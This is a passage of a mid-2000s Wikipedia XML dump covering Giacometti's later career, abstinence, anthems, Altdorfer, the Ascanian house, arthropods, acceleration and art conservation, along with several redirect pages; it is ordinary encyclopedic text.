He soon had an exhibition of his works at the Gallery Maeght in Paris and at the Pierre Matisse Gallery in [[New York City]] for which his friend, [[Jean-Paul Sartre]], wrote the catalogue's preface.

By the early 1950s, the use of bronze had become affordable (metals were in short supply during World War II) and Giacometti began to cast his works in [[bronze sculpture|bronze]] with the help of his brother Diego, who posed for the artist and worked as his assistant until Giacometti's death.

Obsessed with creating his sculptures exactly as he envisioned through his unique view of reality, to his own consternation and because of his drive for perfection, he carved them very small &amp;mdash; many no larger than a pack of cigarettes and almost as thin as nails. A friend of his once said that if Giacometti decided to carve you, ''he would make your head look like the blade of a knife.'' However, after his marriage, he was able to make tiny sculptures larger. But the larger that they grew, the thinner they became. Giacometti said that was the way he wanted to represent the sensation he felt when he looked at a naked woman. 

[[Image:GiacomettiRued'Alesia.jpg|thumb|none|right|250px]]
Commissioned to design a medallion depicting [[Henri Matisse]] in 1954, he created numerous masterful drawings of the great painter in the last months of Matisse's life.

1956 saw a further development in his work when he began to produce paintings of recognizable likenesses.

In 1962, he was awarded the grand prize for sculpture at the [[Venice Biennale]], and the award brought with it worldwide celebrity. Even when he had achieved popularity and his works were in demand, he still reworked models, often destroying them or setting them aside to be returned to years later.

The prints produced by Giacometti are often overlooked but the catalogue raisonné ''Giacometti - The Complete Graphics and 15 Drawings'' by Herbert Lust (Tudor 1970) comments on their impact and gives details of the number of copies of each print. Some of his most important images were in editions of only 30 and many were described as rare in 1970.

In his later years, Giacometti creations displayed at a number of large exhibitions throughout Europe. Riding a wave of international popularity, in 1965, despite being in poor health, he traveled to the [[United States]] for an exhibition of his works at the [[New York Museum of Modern Art]].

As his last work he prepared the text for the book ''Paris sans fin'', a sequence of 150 lithographs containing memories of all the places where he had lived. 

Alberto Giacometti died in 1966 of heart disease and chronic bronchitis at the Kantonsspital in [[Chur]], Switzerland. His body was returned to his birthplace in Borgonovo, where he was interred close to his parents. He is featured on the one hundred Swiss Franks banknote.

In 2003 an animated short film called [http://www.eternalgaze.com/ Eternal Gaze] was made by Sam Chen in memory of Alberto Giacometti.

==Legacy==

Before 2005, a sculpture by Giacometti sold for as much as [[United States dollar|$]]14 million.

==Selected works==
===Sculptures===
* ''Spoon Woman'' - (1926)
* ''Gazing Head  '' -  (1928)
* ''The Cage '' - (1930)
* ''Caress (Despite Hands)'' - (1932)
* ''Woman with Her Throat Cut'' -  (1932)
* ''The Palace at 4 A.M. '' - (1932)
* ''The Surrealist Table '' - (1933)
* ''Nose'' - (1947)
* ''Man Walking'' - (1947)
* ''The Chariot'' - (1950)	
* ''Le Chien'' - (1951)
* ''Head of Diego on Base'' - (1953)
* ''[http://www.privateartcollection.net/pac/display/artobject.do?groupid=&amp;grouptype=&amp;aoid=A00000K3&amp;artisttype=&amp;aotype=&amp;lang=en_EN&amp;sort=&amp;artistao=all&amp;genericid=A00000L7&amp;artistid=A00000L7&amp;upaction=%2Fdisplay%2Fartist.do Bust of Diego]'' - ([[1954]]) 
* ''Grande femme IV'' - (1960)
* ''Tall Figure II and Tall Figure III '' - (1960)

===Paintings and drawings===
* ''Self-Portrait'' - ([[1921]])
* ''The Couple'' - (1926)
* ''The Artist's Mother'' - ([[1937]])
* ''Apple on the Sideboard '' - (1937)
* ''Stehende Figur'' - (1947)
* ''The Street '' -  (1952) 
* ''Landscape at Stampa '' -  (1952) 
* ''Diego in a Plaid Shirt'' - (1954)
* ''Rue D'alesia'' - (1954)
* ''Annette in the Studio'' - (1954)

==External links==
* [http://www.moma.org/exhibitions/2001/giacometti/start/goflash.html The Museum of Modern Art 2001-2002 Giacometti exhibition.] (Requires Flash.)
* [http://www.scultura-italiana.com/Galleria_Estero/Giacometti%20Alberto/index.html Virtual Gallery]
* [http://www.privateartcollection.net/pac/display/artist.do?&amp;groupid=&amp;grouptype=&amp;aoid=&amp;artisttype=&amp;aotype=&amp;sort=&amp;lang=en_EN&amp;artistao=all&amp;genericid=A00000L7&amp;artistid=A00000L7 Giacometti's sculptures in the Web Gallery Private Art Collection]
* [http://www.eternalgaze.com/ &quot;Eternal Gaze&quot; Short Film]

[[Category:1901 births|Giacometti, Alberto]]
[[Category:1966 deaths|Giacometti, Alberto]]
[[Category:Natives of Grisons|Giacometti]]
[[Category:Swiss sculptors|Giacometti, Alberto]]
[[Category:Swiss painters|Giacometti, Alberto]]
[[Category:Surrealism|Giacometti, Alberto]]

[[de:Alberto Giacometti]]
[[es:Alberto Giacometti]]
[[fr:Alberto Giacometti]]
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[[ja:アルベルト・ジャコメッティ]]
[[he:אלברטו ג'קומטי]]
[[nl:Alberto Giacometti]]
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[[sr:Алберто Ђакомети]]
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    </revision>
  </page>
  <page>
    <title>Aristotles theory of universals</title>
    <id>2434</id>
    <revision>
      <id>15900847</id>
      <timestamp>2003-05-18T20:06:54Z</timestamp>
      <contributor>
        <username>Karada</username>
        <id>6817</id>
      </contributor>
      <comment>#redirect [[Aristotle's theory of universals]]</comment>
      <text xml:space="preserve">#redirect [[Aristotle's theory of universals]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Achilles</title>
    <id>2435</id>
    <revision>
      <id>15900848</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>removed entire article following the redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Albert III, Margrave of Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Abstinence</title>
    <id>2436</id>
    <revision>
      <id>41660964</id>
      <timestamp>2006-02-28T22:15:04Z</timestamp>
      <contributor>
        <ip>209.106.0.130</ip>
      </contributor>
      <comment>/* Environmentalism */</comment>
      <text xml:space="preserve">The term '''Abstinence''' refers to a voluntary forbearance from indulging a desire or appetite for certain bodily activities that are widely experienced as giving pleasure. Most frequently, the term refers to abstention from sexual intercourse, alcohol, or food. The practice can arise from religious prohibitions or practical considerations.

Abstinence has diverse forms. In its oldest sense it is sexual, as in the practice of [[continence]], [[chastity]], and [[celibacy]]. Commonly it refers to a temporary or partial abstinence from food, as in fasting. Because the regimen is intended to be a conscious act, freely chosen to enhance life, abstinence is sometimes distinguished from the psychological mechanism of [[repression (psychological)|repression]]. The latter is an unconscious state, having unhealthy consequences. Freud termed the channelling of sexual energies into other more culturally or socially acceptable activities &quot;sublimation&quot;.

==Abstinence in religion==
It may arise from an ascetic element present in most religions, or from a subjective need for spiritual discipline. In its religious context, abstinence is meant to elevate the believer beyond the normal life of desire, to a chosen ideal, by following a path of renunciation. 

For Jews, the principal fast day is [[Yom Kippur]], the Day of Atonement. For Muslims, the period of fasting lasts during the whole month of [[Ramadan]], from dawn to dusk. Both Jews and Muslims abstain from pork in their regular diet.  Among Christians, Roman Catholics have traditionally abstained from food and drink prior to taking [[Holy Communion]]. They distinguish between [[fasting]] and abstinence; the former referring to the discipline of taking one full meal a day, and the latter signifying a meatless meal on  fast days, such as Fridays during [[Lent]]. Many Protestants have preferred to abstain from imbibing alcohol and the use of tobacco. [[Mormon]]s and [[Seventh Day Adventist]]s abstain from certain foods and drinks by combining spiritual discipline with health concerns. 

In India, [[Buddhist]]s and [[Jain]]s, and a number of Hindus abstain from eating meat on the grounds both of health and of reverence for all sentient forms of life. Total abstinence from feeding on the flesh of cows is a hallmark of [[Hinduism]]. 
 
==Environmentalism==
The environmental movement does not necessarily advocate abstinence from bodily pleasures such as sex, but it does promote a lifestyle in harmony with the simplicity of nature, due to the limitations of non-renewable resources. Echoes of the temperance movement, organized by women such as [[Susan B. Anthony]] to persuade people to abstain--fully or partially--from alcoholic drink, can be seen in the organization [[Mothers Against Drunk Driving]] (MADD).

==See also==
===Types of abstinence===
*[[Fasting]]
*[[Sexual abstinence]]
*[[Smoking cessation]]
*[[Sobriety]]
*[[Straight edge]]
*[[Teetotalism]]
*[[Veganism]]
*[[Vegetarianism]]

===Organizations===
*[[Alcoholics Anonymous]]
*[[GreySheeters Anonymous]]
*[[Pagans In Recovery]]

===Other related topics===
*[[Addiction]]
*[[Asceticism]]
*[[Chastity]]
*[[Chastity ring]]
*[[Promiscuity]]
*[[Rhythm method]]

[[Category:Human sexuality]]
[[Category:Issue in the Culture Wars]]
[[Category:Asceticism]]

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    </revision>
  </page>
  <page>
    <title>Anemophobic</title>
    <id>2437</id>
    <revision>
      <id>15900850</id>
      <timestamp>2004-04-09T13:58:44Z</timestamp>
      <contributor>
        <username>Francs2000</username>
        <id>22841</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[-phobia]]</text>
    </revision>
  </page>
  <page>
    <title>Anthem</title>
    <id>2439</id>
    <revision>
      <id>35176319</id>
      <timestamp>2006-01-14T19:18:39Z</timestamp>
      <contributor>
        <username>Wahoofive</username>
        <id>204565</id>
      </contributor>
      <minor />
      <comment>rv removal of references -- maybe they don't belong there, but some explanation is required</comment>
      <text xml:space="preserve">:''For the novella by Ayn Rand, see [[Anthem (novella)]].''
:''For the geographical location see [[Anthem, AZ]].''

An '''anthem''' is a choral composition to an English religious text sung in church services.  The term has evolved to mean a song of celebration, usually acting as a symbol for a certain group of people, as in the term &quot;[[national anthem]]&quot;.  ''See below for other uses.''

==History==
The word &quot;anthem&quot; is derived from the [[Greek language|Greek]] &amp;alpha;&amp;nu;&amp;tau;&amp;iota;&amp;phi;&amp;omega;&amp;nu;&amp;alpha; through the Saxon
''antefn'', a word which originally had the same meaning as [[antiphony]].

It is now, however, generally restricted to a form of church music, particularly in the service of the [[Church of England]], in which it is appointed by the rubrics to follow the third collect at both morning and evening prayer. It is just as usual in this place to have an ordinary [[hymn]] as an anthem, which may be a more elaborate composition than the congregational hymns. Several anthems are included in the [[Coronation of the British monarch|English coronation service]]. The words are selected from Holy Scripture or in some cases from the Liturgy, and the music is generally more elaborate and varied than that of psalm or hymn tunes. Though the anthem of the Church of England is analogous to the [[motet]] of the [[Roman Catholic Church|Roman Catholic]] and [[Lutheran Church]]es, both being written for a trained choir and not for the congregation, it is as a musical form essentially English in its origin and development. 

The anthem developed as a replacement for the [[Roman Catholic Church|Catholic]] &quot;votive antiphon&quot; commonly sung as an appendix to the main office to the [[Blessed Virgin Mary]] or other saints.  Though anthems were written in the Elizabethan period by [[William Byrd|Byrd]], [[Thomas Tallis|Tallis]] and others they are not mentioned in the [[Book of Common Prayer]] until [[1662]], when the famous rubric ''In quires and places where they sing here followeth the Anthem'' first appears.  

Early anthems tend to be simple and [[homophony|homophonic]] in texture, in order that the words could be clearly heard.  Late in the [[16th century]] the &quot;verse anthem,&quot; in which passages for solo voices alternated with passages for full choir, began to evolve.  This became the dominant form in the [[English Restoration|Restoration]] period, when composers such as [[Henry Purcell]] and [[John Blow]] wrote elaborate examples for the [[Chapel Royal]] with orchestral accompaniment.  In the [[19th century]] [[Samuel Sebastian Wesley]] wrote anthems influenced by contemporary [[oratorio]] which could stretch to several [[movement (music)|movements]] and last twenty minutes or longer.  Later in the same century [[Charles Villiers Stanford]] composed examples which used symphonic techniques to produce a more concise and unified structure.  Many anthems have been produced on this model since his time, generally by [[organ (music)|organists]] rather than professional [[composer]]s and often in a conservative style.  Major composers have tended to compose anthems only in response to commissions and for special occasions; examples include [[Edward Elgar]]'s ''Great is the Lord'' and ''Give unto the Lord'' (both with orchestral accompaniment), [[Benjamin Britten]]'s ''Rejoice in the Lamb'' (a modern example of a multi-movement anthem and today heard mainly as a concert piece) and (on a much smaller scale) [[Ralph Vaughan Williams]]' ''O taste and see'', written for the [[coronation]] of [[Elizabeth II of the United Kingdom|Elizabeth II]].  With the relaxation of the rule, in [[England]] at least, that anthems should be only in English, the repertoire has been greatly enhanced by the addition of many works from the Latin repertory.

==References==
* Peter Le Huray &quot;Anthem&quot; in Stanley Sadie, ed. ''The New Grove dictionary of music and musicians'' (London: Macmillan, 1980) ISBN 0333231112
* {{1911}}

==See also==
''The following is a list of articles on other anthems:''
*[[Company song]]s (corporate anthems)
*[[La Espero]] (anthem of the language [[Esperanto]])
*[[European anthem]]
*[[Hail to the Chief]] (American Presidential anthem)
*[[The Internationale]] ([[Communism|Communist]] anthem)
*[[National anthem]]s
*[[Rock and roll anthem]]s
*[[Dance anthem]]s

[[Category:Anthems|*]]
[[Category:Classical music]]
[[Category:Christian music]]

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  </page>
  <page>
    <title>Albrecht Altdorfer</title>
    <id>2440</id>
    <revision>
      <id>40495238</id>
      <timestamp>2006-02-20T23:53:39Z</timestamp>
      <contributor>
        <username>Sparkit</username>
        <id>194762</id>
      </contributor>
      <comment>commonscat</comment>
      <text xml:space="preserve">[[Image:Altdorfer Alexander.jpg|right|thumb|300px|''The Battle of Alexander'' (1529) &lt;br /&gt;Wood, 158,4 x 120,3 cm Alte Pinakothek, Munich]]

'''Albrecht Altdorfer''' (c. [[1480]] near [[Regensburg]] &amp;ndash; [[February 12]], [[1538]] in [[Regensburg]]) was a [[painter]], the leader of the [[Danubian School]] in southern [[Germany]], and a contemporary of [[Albrecht Dürer]].

He was a landscape painter of religious and mythological representations but most notably for painting landscapes for their beauty and not as illustrating any story or parable.  He was perhaps the first &quot;pure&quot; landscape painter.

His &quot;Battle of Arbela&quot; adorns the Munich Picture Gallery.

See also: [[Early Renaissance painting]]

{{commonscat|Albercht Altdorfer}}

==External links==
* http://www.artcyclopedia.com/artists/altdorfer_albrecht.html
* http://www.ibiblio.org/wm/paint/auth/altdorfer/ ibiblio.org
* http://gallery.euroweb.hu/html/a/altdorfe/ gallery.euroweb.hu
* http://www.abcgallery.com/A/altdorfer/altdorfer.html abcgallery.com
* http://www.artchive.com/artchive/A/altdorfer.html artchive.com


[[Category:1480 births|Altdorfer, Albrecht]]
[[Category:1538 deaths|Altdorfer, Albrecht]]
[[Category:German painters|Altdorfer, Albrecht]]
[[Category:Renaissance painters|Altdorfer, Albrecht]]

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  <page>
    <title>Ascanian</title>
    <id>2441</id>
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      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <minor />
      <comment>/* States Ruled by the Ascanian House */</comment>
      <text xml:space="preserve">The '''Ascanian House''' is a dynasty of German rulers. One of its oldest known members was [[Otto, Count of Ballenstedt]], who died in [[1123]]. It is named after the City of [[Aschersleben]]. 

[[Albert the Bear]] was the first Ascanian Margrave of [[Brandenburg]]; he inherited the territory from its last [[Wends|Wendish]] ruler, [[Pribislav]], in [[1150]].

Albert, and his descendants of the Ascanian House, then made considerable progress in [[Christianity|Christianizing]] and [[Germany|Germanizing]] the lands. As a borderland between German and [[Slavs|Slavic]] cultures, the country was known as the [[Marches|March]] of Brandenburg at this time. In [[1320]] the Brandenburg Ascanian line came to an end.

==States Ruled by the Ascanian House==

* County, Principality, and Duchy of [[Anhalt]]: ca. 1100-1918
* Duchy of [[Saxony]]: 1112-1422
* County of [[Weimar-Orlamünde]]: 1112-1486
* Margravate of [[Brandenburg]]: 1150-1320
* [[Duchy of Lauenburg|Duchy of Saxe-Lauenburg]]: 1260-1689
* [[Principality of Lüneburg]]: 1369-1388

[[Category:Ascanian House|*]]

[[de:Askanier]]
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{{Germany-hist-stub}}
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  <page>
    <title>Arthropod</title>
    <id>2442</id>
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      <id>41882275</id>
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        <username>Stemonitis</username>
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      <comment>reversion of small but pointless edits</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Arthropods
| image = Brachypelma edit.jpg
| image_width = 250px
| image_caption = [[Mexican redknee tarantula]],&lt;br/&gt;''Brachypelma smithi''
| regnum = [[Animal]]ia
| subregnum = [[Ecdysozoa]]
| phylum = '''Arthropoda'''
| phylum_authority = [[Pierre André Latreille|Latreille]], 1829
| subdivision_ranks = Subphyla and Classes
| subdivision = 
*'''Subphylum [[Trilobitomorpha]]'''
**[[Trilobita]] - trilobites (extinct)
*'''Subphylum [[Chelicerata]]'''
**[[Arachnida]] - [[spider]]s, [[scorpion]]s, etc.
**[[Merostomata]] - [[horseshoe crab]]s, etc.
**[[Pycnogonida]] - [[sea spider]]s
*'''Subphylum [[Myriapoda]]'''
**[[Chilopoda]] - [[centipede]]s
**[[Diplopoda]] - [[millipede]]s
**[[Pauropoda]]
**[[Symphyla]]
*'''Subphylum [[Hexapoda]]'''
**[[Insect]]a - insects
**Order [[Diplura]]
**Order [[Collembola]] - springtails
**Order [[Protura]]
*'''Subphylum [[Crustacea]]'''
**[[Branchiopoda]] – [[brine shrimp]] etc.
**[[Remipedia]]
**[[Cephalocarida]] – horseshoe shrimps
**[[Maxillopoda]] - [[barnacle]]s, [[fish louse|fish lice]], etc.
**[[Ostracoda]] – seed shrimp
**[[Malacostraca]] - [[lobster]]s, [[crab]]s, [[shrimp]]s, etc.
}}

'''Arthropods''' ([[Scientific classification|phylum]] '''Arthropoda''') ([[Greek language|Greek]] for ''jointed feet'') are the largest [[phylum]] of [[animal]]s and include the [[insect]]s, [[arachnid]]s, [[crustacean]]s, and others. Approximately eighty percent of extant (living today) animal species are arthropods, with over a million modern species described and a [[fossil record]] reaching back to the early [[Cambrian]]. Arthropods are common throughout marine, freshwater, terrestrial, and even aerial environments, as well as including various [[symbiosis|symbiotic]] and [[parasite|parasitic]] forms. They range in size from microscopic [[plankton]] (~0.25&amp;nbsp;[[millimetre|mm]]) up to forms several metres long.

Arthropods are characterised by the possession of a [[segment]]ed body with [[appendage]]s on each segment. They have a [[dorsal]] heart and a [[ventral]] nervous system. All arthropods are covered by a hard [[exoskeleton]] that is made out of [[chitin]], a [[polysaccharide]]. Periodically, an arthropod sheds this covering when it [[ecdysis|moults]]. This covering makes arthropods less prone to [[dehydration]].

== Basic arthropod structure ==
[[Image:Blue crab on market in Piraeus - Callinectes sapidus Rathbun 20020819-317.jpg|left|thumb|250px|[[Blue crab]], ''Callinectes sapidus'']]
The success of the arthropods is related to their hard '''[[exoskeleton]]''', segmentation, and jointed [[appendage]]s. The appendages are used for feeding, sensory reception, defense, and locomotion.

Most arthropods respire (breathe) through a [[trachea]]l system (exceptions are [[Pauropoda]], some [[thysanura]]ns and some [[arachnid]]s like many [[mite]]s); a potential difficulty considering that the skeletal structure is external and covers nearly all of the body. [[Aquatic]] arthropods use [[gills]] to exchange gases.  These gills have an extensive surface area in contact with the surrounding water. [[Landform|Terrestrial]] arthropods have internal surfaces that are specialised for gas exchange. Insects have tracheal systems: air sacs leading into the body from [[pore]]s, called [[spiracles]], in the epidermis [[cuticle]].

Arthropods have an [[Circulatory system#Open circulatory system|open circulatory system]]. [[Circulatory system#Open circulatory system|Haemolymph]], a [[copper]]-based [[blood]] analogue, is propelled by a series of hearts into the body cavity where it comes in direct contact with the tissues. Arthropods are [[protostome]]s. There is a [[body cavity| coelom]], but it is reduced to a tiny cavity around the reproductive and excretory organs, and the dominant body cavity is a hemocoel, filled with hemolymph which bathes the organs directly. The arthropod body is divided into a series of distinct segments, plus a presegmental ''acron'' which usually supports [[compound eyes | compound]] and simple eyes and a postsegmental ''[[telson]]''. These are grouped into distinct, specialised body regions called ''tagmata''. Each segment at least primitively supports a pair of [[appendage]]s.

The cuticle in arthropods forms a rigid exoskeleton, composed mainly of [[chitin]], which is periodically shed as the animal grows. They contain an inner zone (procuticle) which is made of protein and chitin (a polysaccharide) and is responsible for the strength of the exoskeleton. The outer zone (epicuticle) lies on the surface of the procuticle. It is nonchitinous and is a complex of [[proteins]] and [[lipids]]. It provides the moisture proofing and protection to the procuticle. The exoskeleton takes the form of plates called ''sclerites'' on the segments, plus rings on the appendages that divide them into segments separated by joints. This is in fact what gives arthropods their name&amp;mdash;joint feet&amp;mdash;and separates them from their very close relatives, the [[Onychophora]] and [[Tardigrada]], also called [[Lobopoda]] (and which is sometimes included in a group called [[Panarthropoda]], that also includes true arthropods). The skeletons of arthropods strengthen them against attack by predators and are impermeable to water. In order to grow, an arthropod must shed its old exoskeleton and secrete a new one. This process, [[moult]]ing, is expensive in terms of energy consumption, and during the moulting period, an arthropod is vulnerable.

==Classification of arthropods==
[[Image:Common_blue_damselfly02.jpg|thumb|right|250px|[[Common Blue Damselfly]] (''Enallagama cyathigerum''), an insect]]
Arthropods are typically [[scientific classification|classified]] into five [[subphylum|subphyla]]:
# '''[[Trilobite]]s''' are a group of formerly numerous marine animals that died in the [[extinction event|mass extinction]] at the [[Permian-Triassic extinction event|end of the Permian]].
# '''[[Chelicerata|Chelicerates]]''' include [[spider]]s, [[mite]]s, [[scorpion]]s and related organisms. They are characterised by the presence of [[chelicerae]].
# '''[[Myriapoda|Myriapods]]''' comprise [[millipede]]s and [[centipede]]s and their relatives and have many body segments, each bearing one or two pairs of legs. They are sometimes grouped with the hexapods.
# '''[[Hexapoda|Hexapods]]''' comprise [[insect]]s and three small orders of insect-like animals with six thoracic legs. They are sometimes grouped with the myriapods, in a group called [[Uniramia]].
# '''[[Crustacean]]s''' are primarily marine (a notable exception being [[woodlouse|woodlice]]) and are characterised by having [[biramous]] appendages. They include [[lobster]]s, [[crab]]s, [[barnacle]]s, and many others.

Aside from these major groups, there are also a number of fossil forms as [[Cambropodus]], [[Anomalocarida]] and [[Euthycarcinoidea]], mostly from the lower [[Cambrian]], which are difficult to place, either from lack of obvious affinity to any of the main groups or from clear affinity to several of them.

==Related groups==
[[Image:31-Velvet Worm.JPG|thumb|left|[[Velvet worm]], a member of the Onychophora]]
At one point, it was considered that the different subphyla of arthropods had separate origins from segmented worms, and in particular that the [[Uniramia]] were closer to the [[Onychophora]] than to other arthropods. However, this is rejected by most workers, and is contradicted by genetic studies.

Traditionally the [[Annelida]] have been considered the closest relatives of these three phyla, on account of their common segmentation. More recently, however, this has been considered convergent evolution, and the arthropods and allies may be more closely related to certain [[body cavity|pseudocoelomates]] such as [[roundworm]]s that share with them growth by moulting, or [[ecdysis]]. These two possible lineages have been termed the [[Articulata]] and [[Ecdysozoa]].
&lt;br clear=&quot;all&quot;&gt;

== External links and references ==
{{Wikibookspar|Dichotomous Key|Arthropoda}}
{{commons2|Arthropoda|Arthropoda}}
*[http://evolution.berkeley.edu/evolibrary/article/arthropodstory The Arthropod Story] (from [http://evolution.berkeley.edu/ Understanding evolution] @ [http://berkeley.edu/ Berkeley.edu])
*http://www.itis.usda.gov [[Integrated Taxonomic Information System|ITIS]] TSN: 82696
* [http://bugguide.net/ BugGuide] Photographs, life history information, and identification of North American terrestrial arthropods
*http://www.peripatus.gen.nz/Taxa/Arthropoda/Index.html Campbell, Reece and Mitchell. Biology. 1999
*[http://www.straightdope.com/mailbag/mspiderhydraulic.html Do spiders have hydraulic legs?] (from [[The Straight Dope]])
*[http://www.fossilmall.com/Cambrian_Shadows/euthycarcinoid.htm Euthycarcinoida]
*[http://www.abdn.ac.uk/rhynie/euthy.htm Euthycarcinoids]

[[Category: Arthropods]]
[[Category: Animals]]

[[bg:Членестоноги]]
[[ca:Artròpode]]
[[cs:Členovci]]
[[cy:Arthropod]]
[[da:Leddyr]]
[[de:Gliederfüßer]]
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[[ja:節足動物]]
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[[zh:节肢动物]]</text>
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  <page>
    <title>Acceleration</title>
    <id>2443</id>
    <revision>
      <id>41664118</id>
      <timestamp>2006-02-28T22:46:19Z</timestamp>
      <contributor>
        <username>Someones life</username>
        <id>341311</id>
      </contributor>
      <minor />
      <comment>clarifying the 'd', as requested on talk page</comment>
      <text xml:space="preserve">[[Image:Acceleration.png|frame|Acceleration is the time rate of change of velocity, and at any point on a v-t graph, it is given by the slope of the tangent to that point]] In [[physics]], '''acceleration''' (symbol: ''a'') is defined as the rate of change (or [[derivative]] with respect to time) of [[velocity]]. It is thus a [[vector (spatial)|vector]] quantity with dimension [[length]]/[[time]]&amp;sup2;. In [[SI|SI units]], acceleration is measured in [[Metre per second|metres/second&amp;sup2;]].

== Explanation ==

To accelerate an object is to change its velocity in relation to time.   In this strict scientific sense, acceleration can have positive and negative values &amp;ndash; respectively called acceleration (velocity is increased) and '''deceleration''' (or retardation -- velocity is decreased) in common speech &amp;ndash; as well as change of direction. Acceleration is a vector defined by properties of magnitude (size or mesurablility) and direction. When either speed or direction are changed, there is a change in acceleration.  

Acceleration is defined technically as &quot;the rate of change of velocity of an object with respect to time&quot; and the instantaneous acceleration of an objection is given by the equation 
:&lt;math&gt;
\mathbf{a} = {d\mathbf{v}\over dt}
&lt;/math&gt;

where 

:'''a''' is the acceleration [[vector (spatial)|vector]] (as acceleration is a vector, it must be described with both a [[direction]] and a [[magnitude]].

:'''v''' is the velocity vector

:''t'' is time

:''d'' is [[Leibniz's notation for differentiation]]

When velocity is plotted against time on a [[velocity vs. time graph]], the acceleration is given by the slope, or the [[derivative]] of the graph.

If used with [[SI|SI]] standard units (metres per second for velocity; seconds for time) this equation gives '''a''' the units of m/(s·s), or m/s&amp;sup2; (read as &quot;metres per second per second&quot;, or &quot;metres per second squared&quot;).

An average acceleration, or acceleration over time, '''ā''' can be defined as:
:&lt;math&gt;
\mathbf{\bar{a}} = {\mathbf{v} - \mathbf{u} \over t}
&lt;/math&gt;

where 


:'''u''' is the initial velocity (m/s)

:'''v''' is the final velocity (m/s)

:''t'' is the time interval (s) elapsed between the two velocity measurements

[[Transverse]] acceleration ([[perpendicular]] to velocity) causes change in direction. If it is constant in magnitude and changing in direction with the velocity, we get  a [[circular motion]]. For this [[centripetal acceleration]] we have

:&lt;math&gt; \mathbf{a} = - \frac{v^2}{r} \frac{\mathbf{r}}{r} = - \omega^2 \mathbf{r}&lt;/math&gt;

One common unit of acceleration is ''[[gee|g]]'', one ''g'' being the acceleration caused by the [[gravity]] of [[Earth]] at [[sea]] level at 45° [[latitude]] (Paris), or about 9.81 m/s&amp;sup2;.

[[Jerk]] is the rate of change of an object's acceleration over time. 

In [[classical mechanics]], acceleration &lt;math&gt; a \ &lt;/math&gt; is related to [[Force (physics)|force]] &lt;math&gt;F \ &lt;/math&gt; and [[mass]] &lt;math&gt;m \ &lt;/math&gt; (assumed to be constant) by way of [[Newton's laws of motion|Newton's second law]]: 
:&lt;math&gt;
F = m \cdot a
&lt;/math&gt;

As a result of its [[invariant (physics)|invariance]] under the [[Galilean_transformation|Galilean transformations]], acceleration is an absolute quantity in [[classical mechanics]].

== Relation to relativity ==

After defining his theory of [[special relativity]], [[Albert Einstein]] realized that forces felt by objects undergoing constant acceleration are indistinguishable from those in a gravitational field, and thus defined [[general relativity]] that also explained how gravity's effects could be limited by the speed of [[light]].

If you accelerate away from your friend, you could say (given your frame of reference) that it is your friend who is accelerating away from you, although only ''you'' feel any force. This is also the basis for the popular [[Twin paradox]], which asks why only one twin ages when moving away from his sibling at near light-speed and then returning, since the aging twin can say that it is the other twin that was moving. 
[[General relativity]] solved the &quot;why does only one object feel accelerated?&quot; problem which had plagued philosophers and scientists since Newton's time (and caused Newton to endorse absolute space). In ''special'' relativity, only [[Inertial frame of reference|inertial frames of reference]] (non-accelerated frames) can be used and are equivalent; ''general'' relativity considers ''all'' frames, even accelerated ones, to be equivalent. With changing velocity, accelerated objects exist in warped space (as do those that reside in a gravitational field). Therefore, frames of reference must include a description of their local [[spacetime]] [[curvature]] to qualify as complete.

Acceleration can be measured using an [[Accelerometer|accelerometer]].

{{Motion}}

==References==
*{{cite book | author=Serway, Raymond A.; Jewett, John W. | title=Physics for Scientists and Engineers | edition=6th ed. | publisher=Brooks/Cole | year=2004 | id=ISBN 0534408427}}
*{{cite book | author=Tipler, Paul | title=Physics for Scientists and Engineers: Mechanics, Oscillations and Waves, Thermodynamics | edition=5th ed. | publisher=W. H. Freeman | year=2004 | id=ISBN 0716708094}}

==External links and references==
*[http://calc.skyrocket.de/en/ Online Unit Converter - Conversion of many different units]
*[http://www.sandia.gov/LabNews/labs-accomplish/2005/pulp.html Experiments on Z produced a world-record peak velocity of 34 km/s] (that is about 76,000 mph)
*[http://www.sandia.gov/media/NewsRel/NR2001/flyer.htm Magnetic field shocklessly shoots pellets 20 times faster than rifle bullet]

[[Category:Physical quantity]]
[[Category:Classical mechanics]]

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  </page>
  <page>
    <title>Art conservation and restoration</title>
    <id>2444</id>
    <revision>
      <id>41269011</id>
      <timestamp>2006-02-26T04:45:47Z</timestamp>
      <contributor>
        <ip>67.172.132.217</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Conservation''' is the profession devoted to the preservation of cultural property for the future. Conservation activities include examination, documentation, treatment, and preventive care, supported by research and education. (Definition taken from the Core Documents of The American Institute for Conservation of Historic &amp; Artistic Works - see external links.)

Art restoration involves the cleaning, repairing, or reconstruction of art work. Ideally, any process used is reversible, departures from that ideal not being undertaken lightly. Commonly art restoration involves removing residue from [[sculpture]]s or [[painting]]s. Art restoration can sometimes be controversial due to fears that a restoration would damage a piece, or on the grounds that damage or [[residue]] forms part of the history of a given piece and should not be modified. The [[David|statue of David]] recently underwent restoration, to remove dirt that had accumulated on the statues surface.

In [[North America]], only four colleges/universities offer a major in art conservation:
* The [[University of Delaware]] (in association with [[Winterthur Museum]])
* [[Buffalo State College]], New York
* [[Queen's University, Kingston|Queen's University]], [[Ontario]]
* [[New York University]]

In addition, the [[Getty Museum]], in combination with [[UCLA]] is starting a program in Archeological Conservation, which is Art Conservation.

The opposite of art restoration is [[art destruction]].

==See also==
*[[ArtWatch International]]

==External links==
[http://aic.stanford.edu/ The American Institute for Conservation of Historic &amp; Artistic Works]
[http://palimpsest.stanford.edu Conservation Online]
[[Category:Visual arts]]
[[Category:Art history]]</text>
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  </page>
  <page>
    <title>Appalachian Dulcimer</title>
    <id>2446</id>
    <revision>
      <id>15900857</id>
      <timestamp>2004-07-18T23:01:27Z</timestamp>
      <contributor>
        <username>Secretlondon</username>
        <id>21834</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Appalachian dulcimer]]</text>
    </revision>
  </page>
  <page>
    <title>Anton Chekhov</title>
    <id>2447</id>
    <revision>
      <id>42161727</id>
      <timestamp>2006-03-04T05:46:26Z</timestamp>
      <contributor>
        <username>Palimpsester</username>
        <id>230599</id>
      </contributor>
